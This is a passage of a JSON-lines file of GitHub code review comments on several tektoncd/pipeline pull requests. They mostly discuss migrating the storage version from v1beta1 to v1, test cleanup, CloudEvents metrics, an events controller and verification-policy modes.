misunderstood from the discussion at https://github.com/tektoncd/pipeline/pull/6778#discussion_r1220221678 and https://github.com/tektoncd/pipeline/pull/6778#discussion_r1220369285. I thought this would be keeping the v1beta1 bundle syntax which is deprecated in v1? \ud83e\udd14 ", "comment_id": 1224617840, "created_at": "2023-06-09T18:22:01Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks, didn't catch this after replacing the deprecated ConfigSource to RefSource.", "comment_id": 1224619430, "created_at": "2023-06-09T18:24:06Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "The comment you linked to says \"The new bundle syntax test class can be removed when support for the bundle syntax is removed in the v1 PR\", which is what I'm suggesting here. It looks like what this PR is currently doing is adding redundant tests for the bundles resolver, which I don't think is necessary. We do still want to make sure bundles syntax works, but this is tested in the bundles integration tests.", "comment_id": 1224640507, "created_at": "2023-06-09T18:45:27Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I intended to add a new v1 folder but seemed to have been messed up with the rebasing, updated now with `v1/beta/pipelinerun`folder and `v1beta1/pipelienrun` folder.", "comment_id": 1224648797, "created_at": "2023-06-09T18:53:46Z", "line": null, "path": "test/yamls/v1beta1/beta/pipelineruns/pipelinerun.yaml", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I opened https://github.com/tektoncd/pipeline/pull/6787/commits if that could help to clarify the changes here.\r\n\r\nI think the remote-pipeline here could be removed since it is related with bundle syntax and similar to https://github.com/tektoncd/pipeline/pull/6444#discussion_r1224463886.\r\n\r\nAnd the `remote-pipeline-without-default` case could be covered by [\"v1 pipeline] (https://github.com/tektoncd/pipeline/blob/647a5cefd4371719e207ce110bd8238a728841ce/pkg/reconciler/pipelinerun/resources/pipelineref_test.go#L345)", "comment_id": 1224687648, "created_at": "2023-06-09T19:31:29Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "[Add v1 TestYamls pipelineRun files under beta](https://github.com/tektoncd/pipeline/pull/6806)\r\n\r\nLooking back on this, I opened the above PR, hoping to break this change down and also avoid the confusions why we added those under the beta paths for v1 resolver-related yamls.", "comment_id": 1224717462, "created_at": "2023-06-09T20:03:01Z", "line": null, "path": "test/yamls/v1beta1/beta/pipelineruns/pipelinerun.yaml", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "Just want to double check-- I think you might have forgotten to rebase these changes but we already have tests for v1 tasks, so this shouldn't be necessary.", "comment_id": 1225922386, "created_at": "2023-06-11T20:49:34Z", "line": 659, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "I'm a bit confused, is this a new test class? Does this test need to be added in this PR?", "comment_id": 1225922451, "created_at": "2023-06-11T20:50:06Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "is this a new test case? does it need to be added in this PR? it seems unrelated, but I may be missing something.", "comment_id": 1225922566, "created_at": "2023-06-11T20:51:19Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "I don't think there's a need to add this new test here. I think this is already covered by our yaml tests, but even if not, I'm not sure it adds test coverage for the changes in this PR, unless I'm missing something.", "comment_id": 1225922815, "created_at": "2023-06-11T20:53:37Z", "line": 1, "path": "test/yamls/v1/beta/pipelineruns/pipelinerun-with-final-tasks.yaml", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "same comment as previous file-- I'm confused why this file is being added.", "comment_id": 1225922890, "created_at": "2023-06-11T20:54:05Z", "line": 1, "path": "test/yamls/v1/beta/pipelineruns/pipelinerun.yaml", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I previously had the concern that when we were swapping to v1 while we don't have a v1.ClusterTaskRefKind would be an issue when we could not find a clusterTask so added this test case. But thanks to [Allow references to ClusterTasks in v1 Pipeline Tasks](https://github.com/tektoncd/pipeline/pull/6588) I think it's reasonable to not include this in the swap(opened https://github.com/tektoncd/pipeline/pull/6813).", "comment_id": 1226529126, "created_at": "2023-06-12T11:44:00Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "same as https://github.com/tektoncd/pipeline/pull/6444#discussion_r1226529126, I opened https://github.com/tektoncd/pipeline/pull/6813 and restore from the changes in this PR", "comment_id": 1226529922, "created_at": "2023-06-12T11:44:36Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "My understanding is that the conversion here happened for the only purpose of comparing `tc.expected` with the resolved Task since with v1 storage version the resolved Task would also be in v1. And the remote task being tested with the GetTaskFunc is `v1beta1`, which put into the mock requester. \r\n\r\nI am thinking what would be a nice way to refactor these tests if the above makes sense: - probably also rename `getUnsignedTask` to `getV1beta1UnsignedTask` or shall I also add a helper function here for converting v1beta1 unsigned Task to v1 named `convertV1beta1ReferencedTaskForComparing`?", "comment_id": 1226537624, "created_at": "2023-06-12T11:51:38Z", "line": 659, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Opened https://github.com/tektoncd/pipeline/pull/6814 to mitigate the confusions as in the comment above.", "comment_id": 1226572563, "created_at": "2023-06-12T12:14:02Z", "line": 659, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "oh I see. what I think would be preferable is to allow `GetUnsignedTask/Pipeline` to accept an api version, rather than calling conversion logic in the test. this would reduce the amount of logic in the test, so if the test fails we can be more confident the problem is with the taskref code rather than being unsure if it's in the taskref code or conversion code.", "comment_id": 1226607300, "created_at": "2023-06-12T12:40:51Z", "line": 659, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Opened https://github.com/tektoncd/pipeline/pull/6815 to track this, I think we could mark this as resolved and refactor within the scope of #6815 . Feel free to unresolve if this is considered as a blocker of the PR", "comment_id": 1226809453, "created_at": "2023-06-12T14:56:57Z", "line": 659, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: I suppose these changes could have been done before in their dedicated PR ", "comment_id": 1227071888, "created_at": "2023-06-12T18:21:00Z", "line": 20, "path": "docs/resolver-template/cmd/demoresolver/main.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "If I read this correctly, the `beta` in the path is associated with features in `beta` state.\r\nI'm not sure then why this example is in this folder?", "comment_id": 1227077074, "created_at": "2023-06-12T18:25:18Z", "line": 1, "path": "examples/v1beta1/pipelineruns/beta/pipelinerun-with-final-tasks.yaml", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "Ditto", "comment_id": 1227077188, "created_at": "2023-06-12T18:25:25Z", "line": 1, "path": "examples/v1beta1/pipelineruns/beta/pipelinerun.yaml", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "Why does this need to be exported now?", "comment_id": 1227084032, "created_at": "2023-06-12T18:32:09Z", "line": 81, "path": "pkg/apis/pipeline/v1beta1/param_conversion.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "Ditto, why does this need to be exported now?", "comment_id": 1227084726, "created_at": "2023-06-12T18:32:54Z", "line": 37, "path": "pkg/apis/pipeline/v1beta1/taskref_conversion.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think this is because when we are converting v1beta1 Params to v1 Params we are adding the default `string` type for the empty \"\" type, while when we swap to v1, we do not need such default added in v1. The related PR is https://github.com/tektoncd/pipeline/pull/5625.", "comment_id": 1227086920, "created_at": "2023-06-12T18:35:15Z", "line": 490, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "Is this expected? Why do we change `v1beta1` definition to use `v1.Param` to change the version stored of the CRD? ", "comment_id": 1227087321, "created_at": "2023-06-12T18:35:44Z", "line": 1633, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "The fields for v1beta1 CustomRun specs are needed to be converted back to V1beta1 from v1, so we would have to export those conversions for workspaces, params and customRef.", "comment_id": 1227098954, "created_at": "2023-06-12T18:46:23Z", "line": 941, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "These changes are made for the fields for v1beta1 CustomRun specs are needed to be converted back to V1beta1 from v1, so we would have to export those conversions for workspaces, params and customRef. \r\n(Trying to point to the reference of the usage at https://github.com/tektoncd/pipeline/pull/6444#discussion_r1227098954)", "comment_id": 1227100689, "created_at": "2023-06-12T18:48:10Z", "line": 81, "path": "pkg/apis/pipeline/v1beta1/param_conversion.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks for the reviews @afrittoli \ud83d\ude4f \ud83d\udc4d\r\n\r\nThese are the swap of the RefSource and Params in remote resolution API from V1beta1 to V1.\r\n\r\nWe had some discussion around this at https://github.com/tektoncd/pipeline/pull/6444#discussion_r1213317877. And it seems this won't be breaking existent users of resovlers/remote resolutions.", "comment_id": 1227105161, "created_at": "2023-06-12T18:51:46Z", "line": 1633, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think this is related with the fact of our coupled apiVersion & resolver feature. \r\nFor now resolver is beta feature and enabled by default in v1beta1. And the git resolver is used in the moved examples in this PR:\r\n- [examples/v1beta1/pipelineruns/beta/pipelinerun-with-final-tasks.yaml](https://github.com/tektoncd/pipeline/pull/6444/files/77b491dbbd1ebedfde6a8580a30a267b3c04811d#diff-25692435636869897f350dd8ecaf4affcd53ac71cbddaf63aae5d1ce08d07fd6)\r\n- [examples/v1beta1/pipelineruns/beta/pipelinerun.yaml](https://github.com/tektoncd/pipeline/pull/6444/files/77b491dbbd1ebedfde6a8580a30a267b3c04811d#diff-0e2a84ea1acc25546be3427bb95493535b8ec8b1dd5cf9d02351610980ce5503)\r\n\r\nI am hoping that this could be tackled as discussed in the API WG:\r\n- Planned future work to reduce tech debt:\r\n - [Per-Feature flags](https://github.com/tektoncd/pipeline/issues/5632)\r\n - [Improved API versioning](https://github.com/tektoncd/pipeline/issues/5504) (using internal versions of Tekton APIs)", "comment_id": 1227114070, "created_at": "2023-06-12T18:59:16Z", "line": 1, "path": "examples/v1beta1/pipelineruns/beta/pipelinerun-with-final-tasks.yaml", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think this is related to https://github.com/tektoncd/pipeline/pull/6444/files#r1227105161 and we might want to try to swap all the v1beta1 params for resolver to v1 in the same PR since the reconciler previously uses v1beta1 fields/CRDs until this PR?", "comment_id": 1227140091, "created_at": "2023-06-12T19:23:36Z", "line": 20, "path": "docs/resolver-template/cmd/demoresolver/main.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "Thanks @JeromeJu - the bit that I'm missing is how that relates to the change of storage version.\r\n", "comment_id": 1227182374, "created_at": "2023-06-12T20:07:22Z", "line": 1633, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think it is because when we swap to v1, the refSource from resolved Pipelines/Tasks used in reconcilers ie. https://github.com/tektoncd/pipeline/blob/4def9ac818b7dc7305b417a26bf244adebbfc6a5/pkg/reconciler/pipelinerun/resources/pipelineref.go#L131, also the mock resolution that's used in unit tests at https://github.com/tektoncd/pipeline/blob/8d1a90346918c71fa628db8d50fefb759079ddd1/test/resolution.go#L46. \r\n\r\nAnd it's a great point that maybe this should go into the commit message to be clear on the change?", "comment_id": 1227218513, "created_at": "2023-06-12T20:40:10Z", "line": 1633, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 6444, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "@afrittoli I think it's because we update the v1beta1.ResolutionRequestSpec to use v1.Params. `ResolutionRequest` is in `resolution/v1beta1` not in `pipeline/v1beta1`. If I understand your question correctly.", "comment_id": 1227283173, "created_at": "2023-06-12T21:57:35Z", "line": 1633, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "@Yongxuanzhang thanks. Sorry I think I'm missing something. What is the relationship between changing the CRD stored version and changes to the `v1beta1.ResolutionRequestSpec` to use `v1.Params`?\r\n\r\n", "comment_id": 1227966800, "created_at": "2023-06-13T11:25:23Z", "line": 1633, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Chatted with @afrittoli offline \ud83d\ude4f, seems that we had the concern of this PR being very large and touching too many things. ~~Regarding the swaps of v1beta1 API fields(RefSource & Params) for remote resolution, currently exploring if it could be separated in another PR to break this current PR down so as to make merging this PR easier.~~ Decided that we might not invest time on splitting it off.", "comment_id": 1228241135, "created_at": "2023-06-13T14:38:58Z", "line": 1633, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 6444, "repo": "pipeline"} +{"author": "dibyom", "body": "do we to set enable-bundles-resolver to true when enable-api-fields is already set to beta?", "comment_id": 1228475950, "created_at": "2023-06-13T17:33:19Z", "line": 57, "path": "test/tektonbundles_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think we do as beta are for [apis fields validation ](https://github.com/tektoncd/pipeline/blob/fb292df20b8797619698ae578f31e39eafa6694f/pkg/apis/pipeline/v1/taskref_validation.go#L36) while the [`enable-bundles-resolver` is for the specific resolver](https://github.com/tektoncd/pipeline/blob/fb292df20b8797619698ae578f31e39eafa6694f/pkg/resolution/resolver/bundle/resolver.go#L106) that's used.", "comment_id": 1228494297, "created_at": "2023-06-13T17:48:00Z", "line": 57, "path": "test/tektonbundles_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "dibyom", "body": "this looks odd -- isn't this annotation only added when converting a v1beta1 TaskRun that has the now removed status.cloudEvents field? Do we really need to add it to the test for it to pass?", "comment_id": 1228527223, "created_at": "2023-06-13T18:18:16Z", "line": null, "path": "pkg/taskrunmetrics/metrics_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "dibyom", "body": "```suggestion\r\n\t\t\t\tt.Errorf(\"expected refSource is nil, but got %v\", refSource)\r\n```", "comment_id": 1228560952, "created_at": "2023-06-13T18:46:55Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "dibyom", "body": "just making sure I understand this - we are trying to record the number of sent cloud events. But the field that kept this count was removed in v1. Here we are converting the v1 taskrun to v1beta1 in order to iterate over the removed fields.\r\nFor taskruns that were initially created in v1beta1 we have an annotation to keep track of the retryCount. But if a taskrun is created in v1, wouldn't the retryCount never exist and so we would never iterate over the loop?", "comment_id": 1228576347, "created_at": "2023-06-13T18:59:53Z", "line": null, "path": "pkg/taskrunmetrics/metrics.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "dibyom", "body": "why are we ignoring the serviceAccountName fields?", "comment_id": 1228578757, "created_at": "2023-06-13T19:02:34Z", "line": 45, "path": "test/conversion_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "dibyom", "body": "@JeromeJu we should add an action-required in the release notes - for anyone implementing their own custom resolver, they would have to update their code to use v1.Param and v1.RefSource", "comment_id": 1228580604, "created_at": "2023-06-13T19:04:27Z", "line": 1633, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 6444, "repo": "pipeline"} +{"author": "chuangw6", "body": "> @JeromeJu we should add an action-required in the release notes - for anyone implementing their own custom resolver, they would have to update their code to use v1.Param and v1.RefSource\r\n\r\nSounds like this should be documented in https://github.com/tektoncd/pipeline/blob/main/docs/how-to-write-a-resolver.md?", "comment_id": 1228583270, "created_at": "2023-06-13T19:07:14Z", "line": 1633, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Yes, looking at [CloudEvents and CloudEventDelivery](https://github.com/tektoncd/pipeline/blob/fb292df20b8797619698ae578f31e39eafa6694f/pkg/apis/pipeline/v1beta1/taskrun_types.go#L244), I don't see anywhere else in the codebase this has been modified or added. Then this function seems to only be meaningful for v1beta1 CloudEvents counts if I am not mistaken.\r\n\r\nIf not so, this feels to me that the taskrunMetrics would probably need some refactor?", "comment_id": 1228593195, "created_at": "2023-06-13T19:18:57Z", "line": null, "path": "pkg/taskrunmetrics/metrics.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "This was introduced at https://github.com/tektoncd/pipeline/pull/6791#discussion_r1223188302 where I think we want to avoid default from different platforms.", "comment_id": 1228595649, "created_at": "2023-06-13T19:21:41Z", "line": 45, "path": "test/conversion_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "This is a change in user interface, so it should be documented in the release notes with an action required.\r\nUsers that define their `TaskRuns` and `PipelineRuns` using the `v1beta1` API, will now see CloudEvents with `v1` resources in the payload. \r\n\r\nWhile this makes sense, and we should definitely do it, it is not strictly required to be in the same PR as the change of storage. I understand that it is convenient to do it in the same PR and I'm not suggesting we move it to a separate PR now, but we should definitely call this out and in future try to keep such changes separated.", "comment_id": 1229384985, "created_at": "2023-06-14T10:32:55Z", "line": null, "path": "pkg/reconciler/events/cloudevent/cloudevent.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "dibyom", "body": "cc @afrittoli do you know what the cloudevent metrics here is being used for? given that the cloud event pipeline resource has been removed, I'm not sure if this is block is still functional code", "comment_id": 1229705905, "created_at": "2023-06-14T14:23:00Z", "line": null, "path": "pkg/taskrunmetrics/metrics.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "Most likely not functional, I guess it was missed when removing the pipeline resource", "comment_id": 1229736843, "created_at": "2023-06-14T14:42:14Z", "line": null, "path": "pkg/taskrunmetrics/metrics.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks @afrittoli , then I would like to learn from you is the way forward having the cleanup of such 'cloudEvents' related metrics beforehand of this PR?", "comment_id": 1229741924, "created_at": "2023-06-14T14:45:37Z", "line": null, "path": "pkg/taskrunmetrics/metrics.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think when we remove pipeline resource, we kept this here for backwards compatibility in case there were TaskRuns with pipelineResources that emits CloudEvents and counted in the TaskRunStatus.\r\n\r\ncreated https://github.com/tektoncd/pipeline/issues/6826 to track and clarify, ~~working on a PR right now or we could decide to leave it as a follow up for TODO~~ \r\nMerged [Clean up non-functional CloudEvents Metrics in Reconciler for Deprecated CloudEvents ]( https://github.com/tektoncd/pipeline/pull/6827) for review.", "comment_id": 1229782388, "created_at": "2023-06-14T15:08:54Z", "line": null, "path": "pkg/taskrunmetrics/metrics.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "dibyom", "body": "ah got it!", "comment_id": 1230025618, "created_at": "2023-06-14T18:39:24Z", "line": 45, "path": "test/conversion_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks Andrea, I updated it in the release note!", "comment_id": 1231504560, "created_at": "2023-06-15T20:28:06Z", "line": null, "path": "pkg/reconciler/events/cloudevent/cloudevent.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: this was v1 without the alias too :)", "comment_id": 1232007088, "created_at": "2023-06-16T09:21:38Z", "line": 20, "path": "pkg/container/container_replacements.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks Andrea, I was having the same impression on this. But it seems that this is now required by our golint:\r\n```\r\n\ud83d\udc31 Testing if golint has been done\u2026\r\ntest/ignore_step_error_test.go:28: File is not `goimports`-ed (goimports)\r\n\t\"github.com/tektoncd/pipeline/pkg/apis/pipeline/v1\"\r\nmake: *** [Makefile:175: golangci-lint-check] Error 1\r\n```", "comment_id": 1232153260, "created_at": "2023-06-16T11:56:37Z", "line": 20, "path": "pkg/container/container_replacements.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "vdemeester", "body": "If I understand correctly this is to make sure we don't have cyclic dependency as well right ?", "comment_id": 1232188600, "created_at": "2023-06-16T12:31:53Z", "line": 941, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: this was v1 without the alias too :)", "comment_id": 1232321694, "created_at": "2023-06-16T14:22:31Z", "line": 20, "path": "pkg/container/container_replacements.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "Good to know, thank you!", "comment_id": 1232322031, "created_at": "2023-06-16T14:22:49Z", "line": 20, "path": "pkg/container/container_replacements.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "yes I think in this way we would not have cyclic dependencies, and also this happened because CustomRun CRD has not been migrated to v1 from v1beta1.", "comment_id": 1232344797, "created_at": "2023-06-16T14:40:50Z", "line": 941, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "This function works with `objectWithCondition` which is met by both `v1` and `v1beta`.\r\nUltimately it is invoked through the exported `EmitCloudEvents`, so I think it makes sense to keep the `v1beta1` cases in, since it may be other controllers invoking this.", "comment_id": 1232452081, "created_at": "2023-06-16T16:16:45Z", "line": null, "path": "pkg/reconciler/events/cloudevent/cloudevent.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "Ditto, we might want to have both cases in.\r\n", "comment_id": 1232464075, "created_at": "2023-06-16T16:20:08Z", "line": null, "path": "pkg/reconciler/events/cloudevent/cloudevent.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "Oh, it's time for this to go away!\nThis is supported through v1 conversion logic, right?", "comment_id": 1232501312, "created_at": "2023-06-16T16:51:10Z", "line": 66, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "Could you please add comments in the code about this?", "comment_id": 1232515962, "created_at": "2023-06-16T17:03:37Z", "line": 941, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "This is still deprecated (not removed) but handled via conversion, right?\r\nSo it's fine, we don't need a reconcile test for it, hopefully we have conversion tests :)", "comment_id": 1232524384, "created_at": "2023-06-16T17:12:48Z", "line": 2225, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "yes they are handled at https://github.com/tektoncd/pipeline/blob/eb67e5a2d2df6255b77d34b3fe077722d6406ade/pkg/apis/pipeline/v1beta1/pipelineref_conversion.go#L47 :)", "comment_id": 1232534701, "created_at": "2023-06-16T17:25:40Z", "line": 66, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "yes these were taken at https://github.com/tektoncd/pipeline/blob/eb67e5a2d2df6255b77d34b3fe077722d6406ade/pkg/apis/pipeline/v1beta1/pipelinerun_conversion.go#L72 :) thanks for the checkin", "comment_id": 1232535891, "created_at": "2023-06-16T17:27:07Z", "line": 2225, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: I guess this does not need to be a loop anymore, it's just one test", "comment_id": 1232567976, "created_at": "2023-06-16T18:00:40Z", "line": 1310, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think it could be but for the format of the expected error to fit in, it might work better with the tc box testing structs? :)", "comment_id": 1232610999, "created_at": "2023-06-16T18:44:47Z", "line": 1310, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "I think you need to do the same thing in line 185 as well.", "comment_id": 1198313110, "created_at": "2023-05-18T21:16:27Z", "line": 212, "path": "pkg/pod/status.go", "pr_number": 6510, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "That will account for the same change when fetching results from sidecar logs too.", "comment_id": 1198315005, "created_at": "2023-05-18T21:17:11Z", "line": 212, "path": "pkg/pod/status.go", "pr_number": 6510, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks a bunch @chitrangpatel for a quick response \ud83d\ude4f hopefully works now \ud83e\udd1e ", "comment_id": 1198319826, "created_at": "2023-05-18T21:22:15Z", "line": 212, "path": "pkg/pod/status.go", "pr_number": 6510, "repo": "pipeline"} +{"author": "wlynch", "body": "```suggestion\r\n app.kubernetes.io/component: events-controller\r\n```", "comment_id": 1166991777, "created_at": "2023-04-14T15:39:15Z", "line": null, "path": "config/200-serviceaccount.yaml", "pr_number": 6529, "repo": "pipeline"} +{"author": "wlynch", "body": "Or it looks like you're using `events` elsewhere. No preference, but we should be consistent and not use the existing `controller` component.", "comment_id": 1166992657, "created_at": "2023-04-14T15:40:05Z", "line": null, "path": "config/200-serviceaccount.yaml", "pr_number": 6529, "repo": "pipeline"} +{"author": "wlynch", "body": "These are tied to the controller config options - not sure if you want the events controller to share the same config options as the pipeline controller or if you want to have it's own set of configs for flexibility.", "comment_id": 1167000098, "created_at": "2023-04-14T15:47:11Z", "line": 121, "path": "config/201-rolebinding.yaml", "pr_number": 6529, "repo": "pipeline"} +{"author": "wlynch", "body": "I wonder if there's a way to isolate this set of leader election resources with the main controller \ud83e\udd14 (i don't know if this is feasible)", "comment_id": 1167001084, "created_at": "2023-04-14T15:48:01Z", "line": 139, "path": "config/201-rolebinding.yaml", "pr_number": 6529, "repo": "pipeline"} +{"author": "wlynch", "body": "```suggestion\r\n app: tekton-events-controller\r\n```", "comment_id": 1167009553, "created_at": "2023-04-14T15:54:37Z", "line": null, "path": "config/events.yaml", "pr_number": 6529, "repo": "pipeline"} +{"author": "wlynch", "body": "```suggestion\r\n app: tekton-events-controller\r\n version: \"devel\"\r\n name: tekton-events-controller\r\n```", "comment_id": 1167009918, "created_at": "2023-04-14T15:54:57Z", "line": null, "path": "config/events.yaml", "pr_number": 6529, "repo": "pipeline"} +{"author": "afrittoli", "body": "nice catch, thank you", "comment_id": 1175215423, "created_at": "2023-04-24T12:31:12Z", "line": null, "path": "config/200-serviceaccount.yaml", "pr_number": 6529, "repo": "pipeline"} +{"author": "afrittoli", "body": "My plan was for this PR to share the same configs, to keep the change as small as possible for users as well.\r\nOnce `TaskRun` and `PipelineRun` events are available in the new controller as well, I would start adding dedicated configurations.", "comment_id": 1175221980, "created_at": "2023-04-24T12:37:23Z", "line": 121, "path": "config/201-rolebinding.yaml", "pr_number": 6529, "repo": "pipeline"} +{"author": "afrittoli", "body": "I *think* the leader's election of the new binary will be independent, even if they share the role, but I will double-check.", "comment_id": 1175226073, "created_at": "2023-04-24T12:41:12Z", "line": 139, "path": "config/201-rolebinding.yaml", "pr_number": 6529, "repo": "pipeline"} +{"author": "afrittoli", "body": "Fixed", "comment_id": 1175228132, "created_at": "2023-04-24T12:43:03Z", "line": null, "path": "config/events.yaml", "pr_number": 6529, "repo": "pipeline"} +{"author": "wlynch", "body": "\ud83d\udc4d Fine with me, just wanted to make sure it was intentional \ud83d\ude42 ", "comment_id": 1179488033, "created_at": "2023-04-27T17:29:30Z", "line": 121, "path": "config/201-rolebinding.yaml", "pr_number": 6529, "repo": "pipeline"} +{"author": "lbernick", "body": "Does this need a mode for when verification policies match but fail? How about when no policies match but this is allowed?", "comment_id": 1194339254, "created_at": "2023-05-15T20:37:53Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n\t// 1) IgnoreNoMatchPolicy: There are no matching policies, so verification was skipped\r\n\t// 2) WarnNoMatchPolicy: There are no matching policies, and warning is logged.\r\n```", "comment_id": 1194339945, "created_at": "2023-05-15T20:38:46Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "lbernick", "body": "just curious, is this a k8s style \"Reason\" e.g. \"NoMatchingVerificationPolicies\" or meant to be human-readable?", "comment_id": 1194341007, "created_at": "2023-05-15T20:40:02Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sorry I probably don't get your question. \r\n\r\n> Does this need a mode for when verification policies match but fail?\r\n\r\nYes, in this case the matched policy should set the mode to 'warn',\r\n\r\n> How about when no policies match but this is allowed?\r\n\r\nwhen no policies match should be the case of `IgnoreNoMatchPolicy` or `WarnNoMatchPolicy`?\r\n", "comment_id": 1194346913, "created_at": "2023-05-15T20:46:41Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6663, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I think this meant to be human-readable, my plan is to update the condition message with this message", "comment_id": 1194348112, 